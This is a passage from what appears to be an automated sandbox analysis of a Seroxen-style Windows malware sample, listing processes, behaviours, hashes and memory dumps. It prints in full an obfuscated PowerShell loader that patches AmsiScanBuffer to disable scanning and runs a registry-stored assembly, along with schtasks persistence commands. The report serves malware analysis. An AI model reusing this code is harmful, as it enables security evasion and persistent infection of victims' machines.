oint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YDFNESllKhNW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$usqTphUqxhiito,[Parameter(Position=1)][Type]$vtsYmaVfBz)$hOWUjSDiFWY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+'o'+''+'r'+''+'y'+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+''+'l'+'as'+[Char](115)+''+[Char](44)+''+'P'+'u'+[Char](98)+'l'+'i'+'c'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+'e'+'d'+','+''+'A'+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+'as'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+'C'+'la'+[Char](115)+'s',[MulticastDelegate]);$hOWUjSDiFWY.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+'ialN'+[Char](97)+''+'m'+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+'d'+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'Pu'+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$usqTphUqxhiito).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'ged');$hOWUjSDiFWY.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig,'+[Char](78)+'e'+'w'+''+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+'l',$vtsYmaVfBz,$usqTphUqxhiito).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $hOWUjSDiFWY.CreateType();}$kCuopwObBhziJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+'.'+''+'d'+'l'+'l'+'')}).GetType('Mi'+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+'o'+'f'+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n32'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$WjIgFfturoMtuq=$kCuopwObBhziJ.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FjDdvEEQUKeMoIkYDEI=YDFNESllKhNW @([String])([IntPtr]);$jDhBooAYwlfmpURpQQsKxN=YDFNESllKhNW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mtvpDkffrtZ=$kCuopwObBhziJ.GetMethod('G'+[Char](101)+'tM'+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'e'+'l'+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$WEjgDNwGkqqdDn=$WjIgFfturoMtuq.Invoke($Null,@([Object]$mtvpDkffrtZ,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'r'+'a'+''+'r'+''+[Char](121)+'A')));$QPtXiGDfcOEebsWuj=$WjIgFfturoMtuq.Invoke($Null,@([Object]$mtvpDkffrtZ,[Object](''+'V'+'i'+[Char](114)+''+'t'+''+[Char](117)+'al'+'P'+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$pVcdIBN=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WEjgDNwGkqqdDn,$FjDdvEEQUKeMoIkYDEI).Invoke('am'+[Char](115)+''+'i'+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$nnpJcGFLdVynKkcwZ=$WjIgFfturoMtuq.Invoke($Null,@([Object]$pVcdIBN,[Object](''+'A'+''+'m'+''+'s'+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+'B'+'u'+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$dsPEFQCrSO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QPtXiGDfcOEebsWuj,$jDhBooAYwlfmpURpQQsKxN).Invoke($nnpJcGFLdVynKkcwZ,[uint32]8,4,[ref]$dsPEFQCrSO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nnpJcGFLdVynKkcwZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QPtXiGDfcOEebsWuj,$jDhBooAYwlfmpURpQQsKxN).Invoke($nnpJcGFLdVynKkcwZ,[uint32]8,0x20,[ref]$dsPEFQCrSO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+'T'+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\Uni.exe"C:\Users\Admin\AppData\Local\Temp\Uni.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exeFilesize
409KB
MD57417c8c73e614f293152575f46134216
SHA1cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA25600c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
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C:\Windows\Temp\__PSScriptPolicyTest_d2vsa5aj.xch.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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memory/444-103-0x0000012DC2090000-0x0000012DC20BB000-memory.dmpFilesize
172KB
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memory/544-98-0x000001772B030000-0x000001772B05B000-memory.dmpFilesize
172KB
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memory/544-92-0x000001772B030000-0x000001772B05B000-memory.dmpFilesize
172KB
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memory/544-99-0x00007FFC32210000-0x00007FFC32220000-memory.dmpFilesize
64KB
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memory/644-59-0x0000023D64830000-0x0000023D6485B000-memory.dmpFilesize
172KB
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memory/644-65-0x0000023D64830000-0x0000023D6485B000-memory.dmpFilesize
172KB
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memory/644-66-0x00007FFC32210000-0x00007FFC32220000-memory.dmpFilesize
64KB
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memory/644-58-0x0000023D64830000-0x0000023D6485B000-memory.dmpFilesize
172KB
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memory/644-57-0x0000023D64800000-0x0000023D64825000-memory.dmpFilesize
148KB
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memory/704-70-0x0000017B18140000-0x0000017B1816B000-memory.dmpFilesize
172KB
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memory/704-76-0x0000017B18140000-0x0000017B1816B000-memory.dmpFilesize
172KB
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memory/704-77-0x00007FFC32210000-0x00007FFC32220000-memory.dmpFilesize
64KB
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memory/892-26-0x00000120D2C90000-0x00000120D2CB2000-memory.dmpFilesize
136KB
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memory/892-43-0x00000120D3040000-0x00000120D306A000-memory.dmpFilesize
168KB
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memory/892-44-0x00007FFC72180000-0x00007FFC72389000-memory.dmpFilesize
2.0MB
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memory/892-45-0x00007FFC70E80000-0x00007FFC70F3D000-memory.dmpFilesize
756KB
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memory/1000-81-0x000001BBC8FB0000-0x000001BBC8FDB000-memory.dmpFilesize
172KB
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memory/1000-87-0x000001BBC8FB0000-0x000001BBC8FDB000-memory.dmpFilesize
172KB
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memory/1000-88-0x00007FFC32210000-0x00007FFC32220000-memory.dmpFilesize
64KB
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memory/4132-48-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4132-49-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4132-51-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4132-52-0x00007FFC72180000-0x00007FFC72389000-memory.dmpFilesize
2.0MB
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memory/4132-53-0x00007FFC70E80000-0x00007FFC70F3D000-memory.dmpFilesize
756KB
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memory/4132-47-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4132-46-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4132-54-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4528-0-0x000000007529E000-0x000000007529F000-memory.dmpFilesize
4KB
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memory/4528-7-0x00000000068C0000-0x00000000068FC000-memory.dmpFilesize
240KB
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memory/4528-6-0x0000000006370000-0x0000000006382000-memory.dmpFilesize
72KB
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memory/4528-1-0x0000000000B30000-0x0000000000B9C000-memory.dmpFilesize
432KB
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memory/4528-3-0x0000000005700000-0x0000000005792000-memory.dmpFilesize
584KB
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memory/4528-20-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
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memory/4528-4-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
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memory/4528-2-0x0000000005B10000-0x00000000060B6000-memory.dmpFilesize
5.6MB
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memory/4528-5-0x00000000057A0000-0x0000000005806000-memory.dmpFilesize
408KB
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memory/5052-13-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
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memory/5052-14-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
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memory/5052-34-0x0000000007030000-0x000000000703A000-memory.dmpFilesize
40KB
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memory/5052-1291-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB
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memory/5052-1292-0x0000000075290000-0x0000000075A41000-memory.dmpFilesize
7.7MB